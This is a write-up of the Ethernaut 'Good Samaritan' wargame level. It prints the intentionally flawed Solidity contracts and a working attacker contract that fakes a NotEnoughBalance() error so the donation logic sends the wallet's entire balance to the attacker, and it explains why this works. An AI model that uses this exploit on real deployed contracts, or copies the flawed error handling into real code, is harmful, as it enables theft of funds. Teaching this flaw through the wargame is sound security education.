Published on

Ethernaut - Good Samaritan - Solution

Authors

Ethernaut - Good Samaritan - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

Solution

The goal of this challenge is to drain the Wallet.

To do so, we can use the following attacker contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGoodSamaritan {
    function requestDonation() external returns (bool);
}

contract GoodSamaritanAttacker {
    IGoodSamaritan public immutable VICTIM;

    error NotEnoughBalance();

    constructor(address victim) {
        VICTIM = IGoodSamaritan(victim);
    }

    function attack() external {
        VICTIM.requestDonation();
    }

    function notify(uint256 amount) external pure {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }
}

Let's look at the different stages of the attack() function call to understand what's happening:

  1. attack() will call requestDonation() to trigger a transfer of 10 tokens to our attacker contract.
  2. The Coin's transfer() function will then call our attacker's notify() function and since the amount will be 10, it'll revert.
  3. This revert is bubbled up through the call chain until it is caught by the catch in the try-catch block of GoodSamaritan's requestDonation() function.
  4. Since the custom error we used to revert has the same signature as the original NotEnoughBalance() error, the transferRemainder() function will be called next, transferring the wallet's entire balance to our attacker.

Notice that the if (amount == 10) statement in our notify() function is crucial for transferRemainder() to not revert.

As we can see from this challenge, it is not safe to assume that an error was thrown by the immediate target of the contract call. Any other contract further down in the call chain can declare the same error and throw it at an unexpected location.